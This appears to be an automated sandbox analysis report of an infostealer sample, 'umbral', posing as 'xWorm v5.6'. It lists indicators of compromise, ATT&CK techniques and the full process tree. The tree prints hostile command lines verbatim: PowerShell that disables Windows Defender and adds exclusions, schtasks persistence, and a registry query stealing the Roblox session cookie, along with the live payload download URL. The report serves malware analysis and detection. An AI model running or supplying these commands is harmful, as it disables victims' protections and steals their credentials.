umbral | hxxps://github[.]com/3z02/Dont-/raw/main/xWorm+v5[.]6[.]exe

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	xWorm+v5.6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation	Cloner.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	Cloner.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	Cloner.exe

Executes dropped EXE 3 IoCs

pid	Process
5176	xWorm+v5.6.exe
5768	Cloner.exe
5816	Grabb.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	Cloner.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
17	raw.githubusercontent.com
18	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
740	cmd.exe
5404	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
1076	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 119546.crdownload:SmartScreen	msedge.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5404	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2044	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
824	msedge.exe
824	msedge.exe
392	msedge.exe
392	msedge.exe
4236	identity_helper.exe
4236	identity_helper.exe
3900	msedge.exe
3900	msedge.exe
5816	Grabb.exe
5816	Grabb.exe
6072	powershell.exe
6072	powershell.exe
6072	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
1616	powershell.exe
1616	powershell.exe
1616	powershell.exe
2392	powershell.exe
2392	powershell.exe
2392	powershell.exe
2548	powershell.exe
2548	powershell.exe
5628	taskmgr.exe
5628	taskmgr.exe
2548	powershell.exe
5012	powershell.exe
5012	powershell.exe
5628	taskmgr.exe
5012	powershell.exe
4020	powershell.exe
4020	powershell.exe
4020	powershell.exe
5628	taskmgr.exe
5756	powershell.exe
5756	powershell.exe
5756	powershell.exe
4492	powershell.exe
4492	powershell.exe
4492	powershell.exe
5628	taskmgr.exe
5768	Cloner.exe
5768	Cloner.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5768	Cloner.exe
Token: SeDebugPrivilege	5816	Grabb.exe
Token: SeIncreaseQuotaPrivilege	5956	wmic.exe
Token: SeSecurityPrivilege	5956	wmic.exe
Token: SeTakeOwnershipPrivilege	5956	wmic.exe
Token: SeLoadDriverPrivilege	5956	wmic.exe
Token: SeSystemProfilePrivilege	5956	wmic.exe
Token: SeSystemtimePrivilege	5956	wmic.exe
Token: SeProfSingleProcessPrivilege	5956	wmic.exe
Token: SeIncBasePriorityPrivilege	5956	wmic.exe
Token: SeCreatePagefilePrivilege	5956	wmic.exe
Token: SeBackupPrivilege	5956	wmic.exe
Token: SeRestorePrivilege	5956	wmic.exe
Token: SeShutdownPrivilege	5956	wmic.exe
Token: SeDebugPrivilege	5956	wmic.exe
Token: SeSystemEnvironmentPrivilege	5956	wmic.exe
Token: SeRemoteShutdownPrivilege	5956	wmic.exe
Token: SeUndockPrivilege	5956	wmic.exe
Token: SeManageVolumePrivilege	5956	wmic.exe
Token: 33	5956	wmic.exe
Token: 34	5956	wmic.exe
Token: 35	5956	wmic.exe
Token: 36	5956	wmic.exe
Token: SeIncreaseQuotaPrivilege	5956	wmic.exe
Token: SeSecurityPrivilege	5956	wmic.exe
Token: SeTakeOwnershipPrivilege	5956	wmic.exe
Token: SeLoadDriverPrivilege	5956	wmic.exe
Token: SeSystemProfilePrivilege	5956	wmic.exe
Token: SeSystemtimePrivilege	5956	wmic.exe
Token: SeProfSingleProcessPrivilege	5956	wmic.exe
Token: SeIncBasePriorityPrivilege	5956	wmic.exe
Token: SeCreatePagefilePrivilege	5956	wmic.exe
Token: SeBackupPrivilege	5956	wmic.exe
Token: SeRestorePrivilege	5956	wmic.exe
Token: SeShutdownPrivilege	5956	wmic.exe
Token: SeDebugPrivilege	5956	wmic.exe
Token: SeSystemEnvironmentPrivilege	5956	wmic.exe
Token: SeRemoteShutdownPrivilege	5956	wmic.exe
Token: SeUndockPrivilege	5956	wmic.exe
Token: SeManageVolumePrivilege	5956	wmic.exe
Token: 33	5956	wmic.exe
Token: 34	5956	wmic.exe
Token: 35	5956	wmic.exe
Token: 36	5956	wmic.exe
Token: SeDebugPrivilege	6072	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	5628	taskmgr.exe
Token: SeSystemProfilePrivilege	5628	taskmgr.exe
Token: SeCreateGlobalPrivilege	5628	taskmgr.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	4020	powershell.exe
Token: SeIncreaseQuotaPrivilege	4888	wmic.exe
Token: SeSecurityPrivilege	4888	wmic.exe
Token: SeTakeOwnershipPrivilege	4888	wmic.exe
Token: SeLoadDriverPrivilege	4888	wmic.exe
Token: SeSystemProfilePrivilege	4888	wmic.exe
Token: SeSystemtimePrivilege	4888	wmic.exe
Token: SeProfSingleProcessPrivilege	4888	wmic.exe
Token: SeIncBasePriorityPrivilege	4888	wmic.exe
Token: SeCreatePagefilePrivilege	4888	wmic.exe
Token: SeBackupPrivilege	4888	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
392	msedge.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe
5628	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5768	Cloner.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 392 wrote to memory of 3000	392	msedge.exe	83
PID 392 wrote to memory of 3000	392	msedge.exe	83
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 2056	392	msedge.exe	84
PID 392 wrote to memory of 824	392	msedge.exe	85
PID 392 wrote to memory of 824	392	msedge.exe	85
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86
PID 392 wrote to memory of 3816	392	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6024	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/3z02/Dont-/raw/main/xWorm+v5.6.exe
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde23f46f8,0x7ffde23f4708,0x7ffde23f4718
  2⤵
  PID:3000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
  2⤵
  PID:2056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:8
  2⤵
  PID:3816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:1880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:1
  2⤵
  PID:3604
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  PID:2328
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5472 /prefetch:1
  2⤵
  PID:2088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5740 /prefetch:8
  2⤵
  PID:4248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6012 /prefetch:1
  2⤵
  PID:4244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6060 /prefetch:1
  2⤵
  PID:2532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5508 /prefetch:8
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2060,4163062131641469542,15099684809572404467,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2612 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3900
- C:\Users\Admin\Downloads\xWorm+v5.6.exe
  "C:\Users\Admin\Downloads\xWorm+v5.6.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5176
- - C:\Users\Admin\AppData\Local\Temp\Cloner.exe
    "C:\Users\Admin\AppData\Local\Temp\Cloner.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Cloner.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Cloner.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5756
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2044
- - C:\Users\Admin\AppData\Local\Temp\Grabb.exe
    "C:\Users\Admin\AppData\Local\Temp\Grabb.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5816
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5956
  - - C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Grabb.exe"
      4⤵
      Views/modifies file attributes
      PID:6024
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Grabb.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2392
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4888
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      PID:5864
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      PID:6064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4492
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1076
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Grabb.exe" && pause
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:740
    - - C:\Windows\system32\PING.EXE
        
        ping localhost
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5404

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5016

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3920

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5628

Network

DNS

8.8.8.8.in-addr.arpa

